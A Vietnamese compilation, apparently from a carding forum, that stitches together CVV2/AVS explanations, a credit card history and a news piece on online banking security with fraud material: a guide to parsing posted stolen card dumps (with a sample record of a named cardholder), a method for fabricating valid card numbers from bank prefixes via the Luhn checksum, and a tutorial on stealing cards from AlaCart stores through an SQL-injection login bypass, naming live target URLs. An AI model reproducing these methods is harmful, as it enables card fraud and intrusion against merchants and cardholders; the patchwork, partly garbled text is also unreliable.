cvv2 hay cvc2 là mã số bảo mật gồm bộ ba kí tự số được in ở mặt sau card , những số này xuất hiện ở dạng nghiêng ngược ở ngay đầu khung chữ kí và ở cuối ( xem mã u ) . Chương trình này giúp hiệu lực hoá một thẻ đang sử dụng trong giao dịch . Tất cả các thẻ Mastercard , cả thẻ tín dụng lẫn thẻ nợ , được cc yêu cầu là phải có chữ a CVC2 trước ngày 1/1/97 còn tất cả các thẻ VISA phải là 1/1/1001

- CVV2 Hay CVC2 Hoạt Động Như Thế Nào :

Các nhà buôn thẻ ảo được hướng dẫn rằng phải yêu cầu người giữ thẻ xuất trình cvv2 /cvc2 khi người giữ thẻ đặt hàng . Nhà buôn yêu cầu người giữ thẻ đọc mã số này từ thẻ . Sau đó nhà buôn yêu cầu kiểm tra cvv2/cvc2 trong quá trình được sử dụng . Người phát hành thẻ xác định tính hợp lệ của cvv2 hay cvc2 và truyền đi kết quả từ chối hay chấp nhận trong quá trình được quyền sử dụng . Nhà buôn bằng cách sử dụng cvv2/cvc2 cùng với dịch vụ kiểm tra địa chỉ ( AVS) và những phút bàn về quyền sử dụng sau đó có thể thực hiện các quyết Ċ ?ịnh có nhiều thông tin hơn đối với việc chập thuận việc giao dịch đó hay không . . Ngoài ra khi sử dụng cvv2/cvc2 các nhà buôn có thể hi vọng giảm được chi phí trả lại ( chargeback) ít nhất là 26%

-Thay đổi đối với khung chữ kí

Trước đây các số cvv2 hay cvc2 đi theo sau số tài khoản 16 số in ở khung chữ kí của thẻ . Số tài khoản 16 số bây giờ đã bị cắt ngắn còn 4 số trên khung chữ kí . Sự thay đổi này giúp người sử dụng thẻ ký thẻ của họ dễ dàng hơn . Nó cũng giúp nhà buôn dễ dàng hơn khi so sánh chữ kí trên thẻ và chữ kí trên phiếu bán hàng . 19 chữ số ( 16 + 3 ) không còn gây cản trở trong việc kiểm tra chữ kí nữa

- Mã Số Kết Quả Là Gì :

+ Định nghĩa :

M : cvv2 khớp nói chung là bạn muốn thúc đẩy các giao dịch mà bạn đã nhận được chứng nhận thẩm quyền sử dụng ( một cvv2 khớp và một thẻ kiểm tra địa chỉ khớp nếu cần )

N : Cvv2 không khớp có lẽ bạn phải tiếp tục làm việc với người sử dụng thẻ trước khi thực hiện giao dich ngay cả khi bạn đã nhận được một chút chứng nhận thẩm quyền sử dụng . Nếu bạn đã nhận được một chút chứng nhận thẩm quyền sử dụng nhưng bạn nghĩ rằng một giá trị cvv2 không có lẽ đã được gửi đi trước bạn có thể gửi trả lại cvv2 nhưng phải chắc chắn rằng đã sử dụng số tiền $ là 0 cho giao dịch đó để đường tín dụng của khách hàng không bị ảnh hưởng bởi một cvv2 thứ 2 nữa

P : Yêu cầu cvv2 không được thực hiện hoặc ngày hết hạn không được cung cấp , hoặc card không có giá trị cvv2 . Nếu ngày hết hạn để trống hãy nộp lại như là số tiền $ = 0 cho giao dịch đó để đường tín dụng của khách hàng không bị ảnh hưởng bởi một cvv2 thứ 2 nữa

S: Cvv2 có trên card nhưng nhà buôn gửi một mã số nói rằng không có cvv2 . Có lẽ bạn phải làm việc lại tiếp tục với khách hàng để kiểm tra lại rằng khách hàng đã kiểm tra vị trí chính xác đối với số cvv2

U: Người phát hàng không ủng hộ Cvv2

Link Address Verification Service ( AVS )

Atlantic Payment - Dịch vụ kiểm tra địa chỉ : Nếu bạn là nhà buôn dùng thẻ tín dụng , bạn có thể so sánh địa chỉ chi trả của khách hàng USA tại ngân hàng phát hành trước khi hoàn thành một giao dịch mà vạch từ không thể đọc đuợc . Quá trình kiểm tra này yêu cầu cần thiết nếu bạn là nhà buôn dùng thư tín , internet , thư tín hay điện thoại ...

Khi yêu cầu kiểm tra tín dụng thông thường hay uỷ quyền sử dụng bạn phải nhập thông tin địa chỉ chi trả do người sử dụng card cung cấp , khi hệ thống máy tính tiếp xúc với người phát hành và yêu cầu chứng nhận tín dụng , thì thông tin địa chỉ được so sánh vói thông tin trên hồ sơ tại nơi người phát hành . Người phát hành sẽ gửi một mã số phúc đáp với một phúc đáp về thẩm quyền sử dụng tín dụng . Bạn sẽ thực hiện các quyết định kinh doanh sử dụng sau khi xử lý các phúc đáp khác nhau . Tuy nhiên bạn phải luôn nhớ rằng khi một khách hàng cáo buộc rằng họ không hề gửi một đơn đặt hàng bằng mail , điện thoại hay inernet với bạn thì AVS " khớp chính xác " X"hay " Y " sẽ giúp bạn bác bỏ cáo buỊ ?c đó . Và hãy nhớ rằng rất nhiều thiết bị xử lý () sẽ không xử lý các giao dịch mua bán với mã số phúc đáp " N" . Hãy tiến hành một cách thận trọng
Có rất nhiều bạn khi nhìn thấy CC được post lên lại hỏi những câu đại loại như :

- Cái đống trên đây là gì thế , sử dụng như thế nào ?

- Cái Name on Card đâu ... Address ở chỗ nào ?



THÔNG TIN VỀ CARD

Một cái CC hợp lệ phải bao gồm đầy đủ các yếu tố sau :

+ Name on Card hay Card holder : Họ tên chủ thẻ .

+ Billing or Mailing Address : Địa chỉ .

+ City : Thành phố .

+ State : Bang ( của Mẽo và Canada ) .

+ Zip COde ( Post code ) : Mã vùng .

+ Card number : Số thẻ .

+ Card Exp date : ngày hết hạn của thẻ .



và có thể có vài thành phần khác như :

+ Phone number : Số phone ( 11 số ) .

+ Fax Number : Số Fax ( 11 số ) .



hay nhất là khi CC của bạn có cái này :

+CVV2 hay CVN : cái này là mã số bảo mật in trên CC .



KINH NGHIỆM



Không có gì hơn là phải dùng nhiều , nhìn nhiều rồi sẽ quen thôi

-----Sẽ dễ dàng hơn nếu bạn có một vốn tiếng Anh kha khá-----



+ Một đống như sau :



VISA Brett Crow 4300230019306705 11/03 Brett Crow 7 Spruce Street Esko, Minnesota 55733 (XXX)-XXX-XXXX XXX



- Các bạn nhìn cái nào có vẻ là tên người thì nó là Name đấy ( Đừng có cười ! Sự thật đấy ) . Thông thường thì name nằm ở đầu hoặc ngay sau cái Exp date . Như ở đây nó là Brett Crow .

- VISA là nói đây là một cái VISA .

- Một chuỗi 16 con số bắt đầu = 3,4,5 hoặc 6 tùy loại card là CC number . ở đây là 4300230019306705

- Một cụm có cấu tạo theo dạng : AB/CD hay 4 số liên tiếp ABCD là Exp date . thường Exp nằm ở ngay sau CC Number . Ở đây là 11/03 Tức là tháng 11 năm 2003 .

- Sau tên hoặc Exp date sẽ là Address ! Có cấu trúc dạng : [Số] [ Chữ ] ...... thường hay kết thúc = street, driver, Dr, .... thường thôi nhé chứ không phải là tất cả đâu . Đặc biệt có một số địa chỉ có dạng P.O Box [........] đây là hộp thư lưu trú đăng ký ở bưu điện ! Ở đây address là : 7 Spruce Street .

- Zipcode ( Post code ) : Một chuỗi có 5 số ( Mẽo Only ) nhưng nhiều khi lại có ngoại lệ . ở đây zip là 55733 .

- State : Có thể Viết tắt ( 2 chữ cái viết hoa ) hoặc viết full . Dùng nhiều sẽ thuộc State ( Bọn mẽo có bao nhiu bang ý, quên mất roài ) . State thường đứng ngay sau City và đứng ngay trước Zip ! Ở dống này là Minnesota .

- City : không có gì đặc biệt ngoài việc nó đứng sau Address và trước state .

- Phone : Một dãy 11 số có cấu trúc dạng : (XXX)-XXX-XXXX hay XXX-XXXXXXX ...... XXXXXXXXXX . Phone thường đứng sau Zip. Nếu liền cạnh Phone có một dãy cấu trúc tương tự thì đó là số Fax .

- Đống này không có Phone nhưng bạn có thể tìm thấy Phone = 1 cách rất đơn giản : sang một search engine (máy tìm kiếm ) bất kỳ ví dụ như là http://www.google.com/ hay http://www.av.com/ nhập Zip của bạn vào trường search rồi tìm ! Kết quả sẽ là rất nhiều địa chỉ trong đó có số phone thuộc thành phố có Zip code giống bạn ! ! Dễ dàng thế thôi !

- CVV2 : Nếu CC Number của bạn có đầu 4 hay 5 thì CVV sẽ có 3 số . Còn nếu đầu 3 hay 6 thì sẽ có 4 số ! CVV2 nằm ở cuối cùng của đống . ! Ở đây không có Cvv2 thực mình dùng tạm XXX !










1- Thẻ tín dụng là gì ?

2- Có bao nhiêu loại thẻ tín dụng ?

3- Ai có thể xin thẻ tín dụng và làm sao để xin ?

4- Xin thì dễ mà giữ cho tốt mới là khó !

5- Trả không nổi nợ thẻ tín dụng thì sao ?

6- Làm sao để làm tốt lại tín dụng xấu ?

7- Những điều nên biết về credit score


8- Thẻ tín dụng manh laị những lơị ích gì ?



Đây là một tài liệu rất hữu ít cho bất cứ ai đang sống ở bất cứ nơi nào trên thế giới . Vì thẻ tín dụng và tín dụng đang được xử dụng rộng rãi , và trong tương lai sẽ thay thế hẳn tiền mặt

I - Thẻ Tín Dụng Là Gì ?

1 - Lịch sử thẻ tín dụng:

Khoảng hơn 3000 năm trước đây, do nhu cầu trao đổi hàng hoá đòi hỏi và để cho sự buôn bán của các doanh thương thời đó tiện lợi hơn, nên tín dụng đã lần đầu tiên được xử dụng tại Assyria, Babylon và Egypt, mãi tới đầu thế kỷ 14 ngân phiếu tiền trang ( Bill of exchange) và chi phiếu ( forerunner of banknotes, mới được mới được hình thành, các món nợ và thanh toán hoá đơn được giải quyết bằng cách trả trước 1/3 tiền mặt ( coins ) phần còn lại bằng Bill of exchange . Cho đến thế kỷ 17th sự phát minh ra tiền giấy , thì việc mua bán và trao đổi mới dễ dàng hơn nhiều.

Năm 1730 ông Christopher Thornton , doanh thương về bàn tủ ( furniture ) đã quảng cáo và đưa ra chương trình mua trả góp đầu tiên trong lịch sử thương mại của loài người . Từ thế kỷ 18th tới đầu thế kỷ 20th . Những người Tallymen bán trang phục cho khách hàng băng cách trả góp hàng tuần. Họ được gọi là Tallymen vì hồ sơ trả tiền của khách đuợc lưu giữ và tính toán trên một miếng gỗ ( wooden stick ) tiền nợ được ghi trên một đầu và tiền trả hàng tuần được khắc trên đầu kia . Chương trình mua trả góp " Buy now, pay later " mãi tới năm 1920 mới được giới thiệu tới Hoa Kỳ, dịch vụ này vẫn còn giới hạn ở từng cửa hàng.

Con người theo sự tiến hoá ,vì nhu cầu tiện ích đòi hỏi đã phát minh ra tiền cắc ( coins ) tiền giấy, ngân phiếu, chi phiếu, và cũng do nhu cầu đòi hỏi nên , khoảng năm 1951 ông Frank X. McNamara ( vị tổ khai sinh ra thẻ tín dụng ) dã thành lập công ty đầu tiên phát hành thẻ tín dụng, 200 chiếc thẻ Credit Card đầu tiên đã cấp cho những người giàu có và có tiếng tăm trong xã hội tại New York và những chiếc thẻ này chỉ được xử dụng hạn chế trong 27 nhà hàng sang trọng ở New York lúc bấy giờ nên có tên gọi là Diners Club Công ty American Express cũng theo gót Diners Club cho ra đời chiếc thẻ American Express , vì sự hạn chế chỉ để xử dụng trong việc ăn uống , du lịch nên loại thẻ này vẫn chưa được phổ biến rộng rãi đến mọi tầng lớp xã hội và chưa được xem như là chiếc thẻ thần kỳ ( the Magic Card ) . Song song với sự ra đời của 2 thẻ này các công ty bán lẻ, xăng dầu cũng cho ra đời một loại thẻ gọi là Charge Card cũng còn giới hạn là laọi này chỉ xài được ở công ty cấp thẻ này thôi . Như thẻ Sears thì chỉ mua hàng ở Sears , Shell thì chỉ đổ xăng ở các cây xăng Shell v.v., . Vậy thì chiếc thẻ thần kỳ đuợc phát minh lúc nào ?.


- Trong thời kỳ Đệ II thế chiến Tất cả các credit card và Charge card đã cấm sử dụng, cho đến sau thế chiến thì mới được phổ biến rộng rãi trở lại . Vì lợi tức mang lại từ thẻ tín dụng khá nhiều nên các ngân hàng bắt đầu nhúng tay vào . Tuy nhiên vẫn còn xử dụng tại địa phương và các cửa hàng bán lẻ . Cho đến năm 1970 , khi mà kỹ thuật điện toán bắt đầu phát triển và hệ thống căn bản cho " The Standards for Magnetic Strip " được hình thành , thì kỹ nghệ Credit card mới thực sự phát triển mạnh mẽ và trở nên một phần của thời kỳ Thông Tin " Information Age "

Chiếc thẻ Thần Kỳ " Revolving Credit Card " lần đầu tiên cấp cho người xử dụng tại tiểu bang California do Bank of America phát hành nên gọi là BankAmericard và nhanh chóng phổ biển rộng rãi khắp tiểu bang . Cái thẻ thần kỳ này đã bắt đầu một bước tiến quan trong cho kỹ nghệ credit card . Thẻ BankAmericard đã cho người xử dụng 1 sự lựa chọn trong việc thanh toán tiền bạc . Họ có thể trả hết 1 lần hoặc trả góp từng tháng ( minimum payment) số tiền thiếu còn lại , ngân hàng sẽ bắt đầu tính tiền lời . Phương pháp này đưọc tiếp dùng cho đến ngày nay .Thẻ này còn thêm một ưu điểm mà ai cũng thích là nếu kẹt tiền , người xử dụng ( cardholder) có thể ra ngân hàng mượn tiền mà không cần phải điền những thủ tục mượn tiền phiền toái ( nhanh, gọn, lẹ ).

Vì sự tiện lợi của thẻ này và nhu cầu đòi hỏi của khách hàng, Bank Card Association được thành hình , vào năm 1965 Bank of America đã cấp giấy phép ( Licensing ) cho những ngân hàng lớn , nhỏ khắp Hoa Kỳ , cho phép những ngân hàng này cấp thẻ BankAmericard cho khách hàng xử dụng ( đương nhiên phải trả tiền cho Bank of America ). Tới năm 1969 hầu hết các thẻ tín dụng do những ngân hàng độc lập cấp đều chuyển qua loại thẻ BankAmericard hoặc MasterCharge Card . Cho nên có thể nói Bank of America là vị tổ khai sinh ra cái thẻ thần kỳ này và lợi tức mang lại từ những chiếc thẻ này đã góp phần không nhỏ đưa Bank of America từ một ngân hàng địa phương ( local bank) thành 1 trong những ngân hàng lớn nhất thế giới .

Thẻ tín dụng cấp phát ngày càng nhiều, công việc xử lý hoá đơn cho từng trương mục ( account)nhiều đến nổi các hệ thống ngân hàng không đảm đương nổi và từ đó dẫn đến sự ra đời của các hội thể tín dụng ( Credit card associations ) như Interlink Association, Western State Bank Card Association, và National BankAmericard Ịnc,. Trong khoảng thời gian này các hoa đơn chưa được điện tử hoá , vẫn còn dùng các loại hoá đơn bằng giấy ( 1 người khách mua hàng hay cash tiền , người thâu ngân phải gọi điện thoại để xin thanh toán hoá đơn (approve charge)sau khi ngân hàng cấp thẻ ( Issue Bank ) đồng ý trả tiền thì sẽ cho người nhận (merchant) 1 số ( authorization number )rồi người nhận lấy 1 hoá đơn ( gồm 3 copy)đặt credit card và hoá đơn này lên một cái máy ( Imprinter) cà qua cà lại ( slide)vài lần để những con số trên thẻ in xuống hoá đơn, sau đó điền số bằng lái, số phone và chữ ký của người chủ thẻ ( cardholder) . 1 bản giao cho người khách, 1 bản deposit vào ngân hàng và 1 bản người nhận giữ .Người Việt chúng ta thường nói đùa mỗi khi trả tiền bằng thẻ là Cà thẻ ( Chi tiết sẽ nói trong bài " Hóws the banking system work ). Chỉ một transaction thôi đã mất nhiều thì giờ mhư vậy, các bạn thử nghĩ mỗi ngày ngân hàng xử lý cả trăm triệu transaction thì mất bao nhiêu thời gian . Đây cũng là dịp để những người " cho tôi ăn ké với" có cơ hội kiếm ăn Credit card fraud ( sẽ nói riêng về phần này )

Như đã nói ở trên, mãi tới năm 1970 sự ra đời của máy điện toán ( IBM computer nó to như cái xe bò)thì kỹ nghệ credit card mới rẻ qua 1 con đường thêng thang rộng mở . Cho phép người nhận thẻ ( retail establishment or merchant) nhận trả bằng thẻ 24 giờ/ 1 ngày và cũng giảm một số lượng giấy tờ đáng kể .

Khoảng giữa thập niên 70 kỹ nghệ credit card mon men tìm kiếm khách hàng trên thị trường quốc tế, nhưng gặp vài trở ngại vì chữ America cho nên BankAmericard đổi thành Visa và Master Charge vì trong 1 vụ kiện đã đổi thành Master Card

Khoảng năm 1979 nhờ sự tiến bộ trong ngành điện tử và điện toán cá nhân ( electronic & PC personal computer ) kỹ nghệ credit card lại tiến thêm 1 bước quan trọng nữa . Sự tiến bộ này đã cho phép người nhận thẻ " chà " swipe thẻ của khách hàng qua máy ( dialup terminal) và mọi thủ tục được điện tử hoá ( electronic processing ) nên đã tiết kiệm được rất nhiều thì giờ và tiền bạc đồng thời cũng nảy sinh ra kỹ nghệ tái chế giấy cũ ( paper recycle )vài người Việt cũng làm giàu nhờ kỹ nghệ tái chế này ( recycling industry )
Bảo mật với Online Banking



TTO - Bắt đầu sử dụng từ những năm 1990, thanh toán trực tuyến (Online Banking) là cốt lõi đối với thương mại điện tử. Tuy vậy việc quản trị và bảo mật tài khoản vẫn không thể ngăn được những thất thoát đáng tiếc, nhất là trong tình trạng tội phạm tài chính Internet đang ngày một nở rộ như hiện nay.

An ninh tài chính mạng vẫn luôn là một thách thức đối với bất kỳ ngân hàng nào.

Có thể ngồi tại Việt Nam, đặt mua một món quà cho người thân đang ở Pháp. Hóa đơn điện nước, điện thoại có thể tự động định kỳ thanh toán. Bạn đặt mua một chiếc đồng hồ Thụy Sĩ trên Internet và chiếc đồng được đem đến tận nhà bạn tại Anh. Hơn 53 triệu người Mỹ đã và đang làm quen dần với hình thức này.

Một hệ thống Online Banking thường bao gồm luôn cả chức năng ngân hàng dành cho người dùng. Khách hàng có thể truy xuất tài khoản để biết thông tin, thực hiện các tác vụ mua bán và chuyển nhượng tài chính. Đơn giản, chỉ cần truy xuất vào tài khoản thông qua Internet, vừa nhanh chóng vừa tiện lợi và chính xác.

Một nghiên cứu kéo dài 18 tháng của Bank of American cũng cho thấy, khách hàng sử dụng dịch vụ trực tuyến có xu thế “trung thành” hơn. Hơn nữa, Online Banking hiện là một dịch vụ miễn phí. Sự tiện dụng, kinh tế chính là ưu điểm của loại hình thanh toán này.


Biểu đồ so sánh tình hình sử dụng các giải pháp an ninh ngân hàng trực tuyến tại châu Âu
Thực trạng an ninh

Những báo cáo gần đây về tình trạng vi phạm, phá rào và lừa gạt để lấy thông tin trong lĩnh vực tài chính làm cho khách hàng e ngại các hoạt động chuyển nhượng tài chính trực tuyến. Các hành động lừa đảo trên Internet dễ thực hiện, ít nguy hiểm và ít tốn kém hơn.

Từ những nghiên cứu mới nhất của Javelin và Pew Report cho thấy, phần lớn các lỗi không phải về phía ngân hàng mà về phía khách hàng. Chỉ tính riêng trong việc bị mất cắp thông tin tài khoản, thì các nguyên nhân ngoại tuyến chiếm 68%, bao gồm cả việc mất ví, sổ tay và thư tín dụng. Tỷ lệ lừa gạt trực tuyến chỉ chiếm có 11,6%.

5% người Mỹ là nạn nhân của các cuộc tấn công tài chính trên mạng, bao gồm cả cá nhân và doanh nghiệp với con số tổn thất khoảng 53 tỷ USD hàng năm.

Thế nhưng, khách hàng có điều kiện theo dõi thường xuyên tài khoản của mình cũng là một cách hay để hạn chế mất tiền. Vì tài khoản được theo dõi thường xuyên hơn, số lượng tiền nếu có bị thất thoát cũng rất ít. Khả năng phát hiện sớm những cuộc đánh cắp sẽ hạn chế số lượng tiền bị thất thoát.

Những khách hàng không sử dụng Online banking có xác suất mất thông tin tài khoản cao hơn vì họ để lại nhiều dấu vết vật lý như sổ tay, hóa đơn chứng từ, tạo điều kiện cho kẻ cắp biết được thông tin tài chính của mình.

Chứng thực đa cấp

Chế độ chứng thực đa cấp đang được xem xét để thay cho chế độ đơn cấp hiện nay, nhằm giải quyết một trong các vấn nạn an ninh tài chính. Ở chế độ đơn cấp, bạn chỉ cần có mật mã là đủ. Điều đó rất dễ dàng bị người khác ăn cắp mà ngay đến bạn cũng không hề biết.

Tuy nhiên, với chế độ đa cấp thì thường mật mã phải được kết hợp với một dạng thông tin "không thể bị đánh cắp", có thể là một câu hỏi mang tính cá nhân kết hợp với câu trả lời... Đây là cách thức được dùng bởi Bank of Americans, với chương trình SiteKey.

Một cách khác là dùng các hệ chìa khóa. Đó có thể là một thiết bị giải mã đặt tại máy tính cá nhân, có chìa khóa và chỉ hoạt động với số PIN của riêng mỗi người. Sẽ dễ dàng hơn cho chủ nhân để phát hiện ra chìa khóa bị mất thay vì một mớ ký tự trong đầu.

Sinh trắc học cũng đang là một trong những giải pháp được hướng đến kết hợp với trong chế độ chứng thực đa cấp. Đây được xem là một trong những giải pháp của tương lai. Hiện cũng có một số công ty đã bắt đầu sản xuất bàn phím sinh trắc học để dành cho các tác vụ chứng thực. Tuy nhiên, giá còn hơi cao.

Giải quyết về chế độ chứng thực chỉ là một trong những giải pháp nhằm tạo một môi trường an toàn hơn cho Online Banking. Không thể có một môi trường nào là tuyệt đối an toàn cả.

Căn bản về Credit Card


Một Number Card thường gồm có 16 chữ số, có loại có 13 chữ số.

Trong đó, 4 chữ số đầu tiên thường quy định và là dấu hiệu nhận dạng bởi các tên của ngân hàng phát hành Card đó

3xxx xxxx xxxx xxxx: Ameriacan Express Card

4xxx xxxx xxxx xxxx: Visa Card

5xxx xxxx xxxx xxxx: Master Card

6xxx xxxx xxxx xxxx: Discover Card


Chữ số đầu tiên thường được dùng để nhận biết đó là Card của loại nào.

3 = Ame

4 = Visa

5 = Master

6 = Discover

3 chữ số tiếp theo sau là tên nhận dạng ID của ngân hàng.

Nói chung, khi ta nhìn vào 4 ký tự số đầu tiên ta sẽ biết đó là thể loại nào: American Express Card, Visa Card, Master Card hay Discover Card.

AMERICAN EXPRESS

3XXX

3728

3713

3731 - AmEx Green

3737 - AmEx Optima

3782 - AmEx - Small Corporate Card

....



VISA CARD

4XXX

4013 - Citibank

4019 - Bank of America

4024 - Bank of America

4027 - Rockwell Federal Credit Union

4032 - Household Bank

....

MASTER CARD

5XXX

5100 - Western States Bankcard Association

5110 - Universal Travel Voucher

5120 - Western States Bankcard Association

5130 - Eurocard France

....

DISCOVER CARD

6XXX

6013 - MBNA

....

Làm sao để kiểm tra số Card là đúng. Nhờ đâu mà các chương trình kiểm tra Card có thể biết được đó là số đúng của Card.
Câu trả lời đó là tất cả đều phụ thuộc vào con số cuối cùng của Card. Đó là con số mà những chương trình gọi là số tổng kiểm tra (checksum), con số này sẽ quyết định dãy số của Card là số đúng hay sai.

Nếu con số cuối cùng là đúng và phù hợp thì nó là một dãy số Number Card đúng, chúng ta có thể dùng nó.
Nếu số đó là một con số sai thì coi như Number Card đó sai.

Tuy nhiên, nếu chúng ta thông minh và để ý một chút thì ta vẫn có thể tìm được một Number Card đúng sau 9 lần thử khác nhau. Vì ta có thể thay đổi con số cuối cùng thành 1 trong 9 lựa chọn khác:
Ví dụ: 3xxx xxxx xxxx xxx5 : dãy số đúng ta cần tìm.
Ta lần lượt thay con số cuối cùng như sau:
3xxx xxxx xxxx xxx0
3xxx xxxx xxxx xxx1
3xxx xxxx xxxx xxx2
3xxx xxxx xxxx xxx3
3xxx xxxx xxxx xxx4
3xxx xxxx xxxx xxx5 ===> đây là kết quả đúng và con số 5 là số cần tìm.
3xxx xxxx xxxx xxx6
3xxx xxxx xxxx xxx7
3xxx xxxx xxxx xxx8
3xxx xxxx xxxx xxx9

Như vậy tới đây là tạm thời có thể hiểu cách tìm (tính toán) sao cho có một Number Card đúng.
Đây là cách tính thủ công, cách tính “mẹo”. Quá dễ phảI không các bạn.

Như vậy các bạn chỉ cần biết 4 con số đầu tiên để làm “gốc”, 4 con số này để chương trình biết nó là Master Card hay Visa Card … và đó chính là tên của ngân hàng. Sau đó các bạn có thể tự bịa ra 1 dãy số bất kỳ nào đó.
Thay đổi con số “cuối cùng” trong khoảng từ 0..9 để tìm ra con số đúng nhất và như vậy bạn đã có 1 Number Card hợp lệ.


Cách tính toán và tìm ra quy luật của Number Card.
Như đã nói ở trên, chúng ta chỉ cần biết 4 con số đầu tiên mà thôi. Đó là 4 con số quy định tên ID của ngân hàng. Chúng ta chỉ cần biết 4 con số đó là có thể tự tạo ra cho mình một số lượng Number Card dùng thoải mái cho đến ngày vào Prison chơi
Sau đây tôi sẽ cùng các bạn đi tìm cách tính toán một cách khoa học và chính xác hơn chứ không phảI ngồi mò mò, rồi phảI thay đổi con số cuối cho phù hợp.

Ví dụ: 5204 xxxx xxxx xxxY
5204 = Security Pacific : đây là Master Card do ngân hàng Security Pacific phát hành.
xxxx xxxx xxx: là một dãy số ngẫu nhiên, bất kỳ nào đó.
Y : đây là con số cần tìm để Number Card là hợp lệ

Sau khi biết 4 số đầu tiên, ta có thể lấy ngẫu nhiên và bất kỳ từ số 0 đến số 9 của mười một ký tự số đại diện cho chữ X.

Giả sử tôi lấy là
5204 1234 5678 901Y
5204 xxxx xxxx xxxY

Trong đó ta chia ra làm 2 dãy số chẵn và dãy số lẽ.
a. Dãy số 5 0 1 3 5 7 9 1 ta gọi là dãy số lẽ.
b. Dãy số 2 4 2 4 6 8 0 Y ta gọi là dãy số chẫn.

Lấy từng chữ số trong dãy số lẽ “nhân” vớI 2
5 x 2 = 10
0 x 2 = 0
1 x 2 = 2
3 x 2 = 6
5 x 2 = 10
7 x 2 = 14
9 x 2 = 18
1 x 2 = 2

Nếu kết quả nhân của từng số nào lớn hơn 9, thì ta lấy số đó trừ đi 9.
5 x 2 = 10 - 9 = 1
0 x 2 = 0 = 0
1 x 2 = 2 = 2
3 x 2 = 6 = 6
5 x 2 = 10 = 1
7 x 2 = 14 - 9 = 5
9 x 2 = 18 - 9 = 9
1 x 2 = 2 = 2

Cộng các kết quả mớI tình được lai vớI nhau:
1 + 0 + 2 + 6 + 1 + 5 + 9 + 2 = 26 ===èSố A

Cộng các chữ số của dãy số chẵn lại vớI nhau, vì Y là số cần tìm và ta chưa biết nên không cần cộng
Dãy số 2 4 2 4 6 8 0 Y là dãy số chẵn đã nói ở trên
2 + 4 + 2 + 4 + 6 + 8 + 0 = 26 ===è Số B

Lấy A + B
26 + 26 = 52
TớI đây ta lấy số cuối cùng là 2 cộng thêm 8 để làm tròn số thành 10
Ví dụ:
+ số cuối cùng là 3 thì cộng thêm 7 để thành 10
+ số cuối cùng là 4 thì cộng thêm 6 để thành 10
+ số cuối cùng là 5 thì cộng thêm 5 để thành 10
+ số cuối cùng là 6 thì cộng thêm 4 để thành 10
+ số cuối cùng là 7 thì cộng thêm 3 để thành 10
+ số cuối cùng là 8 thì cộng thêm 2 để thành 10
+ số cuối cùng là 9 thì cộng thêm 1 để thành 10
+ số cuối cùng là 0 thì cộng thêm 0 để thành 0 =è chú ý chỗ này
+ số cuối cùng là 1 thì cộng thêm 9 để thành 10

Nói chung là cộng thêm số nào đó để nó thành số chẵn là 10
Vậy cái số bí mật cần tìm chính là con số được cộng thêm vào.
Trong ví dụ này, đó chính là con số 8.
Vậy số Y cần tìm là 8
Số Number Card là 5204 1234 5678 9018




An cap the tin dung qua loi SQL

Chào mừng bạn đã đến với Silvery Hat Hacker. Trong bài viết này , Silvery Hat Hacker sẽ giới thiệu đến với bạn 10 cách đánh cắp Thẻ Tín Dụng qua lỗi Sql Injection lẫn các lỗi thông qua Google và các Bug khác... Có thể bạn đã bắt gặp ở đâu đó cách thức hack tương tự như trong những bài viết này , nhưng vì nhiều người bạn qua Yahoo Messenger đã hỏi hay nói với Silvery Hat Hacker rằng họ chưa hiểu hay chưa biết rõ phải làm sao. Vì vậy Silvery Hat Hacker đành viết lại 1 lần nữa chuỗi bài viết về Hack cc này. Cũ có mới cũng có nhưng lỗi vẫn là lỗi và Silvery Hat Hacker đã chọn ra và sưu tầm từ nhiều nguồn những phương pháp còn có thể thành công để trình bày ở đây...



1-Thông qua lỗi SQL của Alabanza AlaCart :

A\Mô tả :

AlaCart là 1 trong những ứng dụng web dùng để trao đổi và mua bán hàng qua mạng của Alabanza , 1 công ty chuyên về Dịch vụ Máy Chủ tự Động Hóa ( Web hosting automation ) . Trong phiên bản đã kiểm nghiệm ( v1.27 ) , Silvery Hat Hacker và anh bạn đã viết ra bài này ( phiên bản English ) đã phát hiện ra lỗi chèn đọan mã SQL vào quá trình đăng nhập của AlaCart trong vai trò Administrator để quản lý cơ sở dữ liệu tòan bộ thành phần của Web có vấn đề. Nó cho phép Tin tặc có thể đăng nhập mả không cần biết Username và Password. ( Lỗi Sql : Nếu bạn không biết vì sao hãy tham khảo ở đây hay các bài khác của phần Kiến thức Cơ Bản để học hỏi thêm )

B\Tiến Hành :

Bạn cần 1 website cài đặt AlaCart

Công nghệ quản lý Mua-Bán của AlaCart nằm trong thư mục /s-car

Để bắt đầu truy vào trang đăng nhập của Admin , ta có thư mục /admin

=> ta sẽ có www.tên website.tên miền/s-car/admin => bạn vào được trang đăng nhập. Nó sẽ xuất hiện thông báo đòi tên truy nhập và mật khẩu

-Vì bạn đã biết AlaCart bị SQL nên ta sẽ dùng các Username và Password dùng để Bypass tương tự như sao : 'or''='

-Vào được cơ sở quản lý rồi. Bạn vẫn còn khó khăn trước mắt :

+Nhìn vào không thấy Thẻ Tín Dụng

+Tòan chữ và chữ

Bạn đừng thất vọng , vì khi vừa vào là bạn đã gặp ngay phần Help - Trợ Giúp được mặc định hiển thị của AlaCart nên click vào các link ở giữa trước mắt chỉ là tìm hiểu cách họat động của chúng chứ không phải điều khiển chúng. Bạn nhìn lên các dòng ngang , tìm Order Options hay Order. Trong trang kế , bạn tìm dòng :

Please enter the email address to which orders will be sent: - Xin hảy vui lòng nhập vào địa chỉ email mà các thông tin mua bán sẽ được gửi đến:

-Tới đây không thể chỉ hơn được nữa , bạn hãy tự làm lấy , mặc dù phải chờ đợi..Nhưng chúc may mắn. Silvery Hat Hacker đã lấy được rất nhiều Thẻ Tín Dụng bằng cách này rồi.

Trang ví dụ ( bạn kiếm thêm qua Google bằng từ khóa s-cart/admin/ ) :

http://avantiparts.net/s-cart/admin/

http://64.177.121.164/s-cart/admin/

Đừng phá quá , tội người khác nha , các Newbies. Thanks



2-Thông qua lỗi SQL của VP-ASP:

A\Mô tả :

Cái này đã quá quen thuộc với dân Ăn cắp Thẻ Tín Dụng rồi. Silvery Hat Hacker chỉ nói sơ qua thôi. Đây là 1 công cụ mạnh mẽ giúp cho admin của các website Bán hàng quản lý cơ sở dữ liệu của mình dễ dàng hơn. Tiện lợi , nhưng VP-ASP có cả khối lỗi cho Hackers khai thác...Silvery Hat Hacker sẽ từ từ trình bày chúng lên cho các bạn THAM KHẢO - chỉ mong bạn tham khảo cho biết thôi...

B\Tiến Hành :

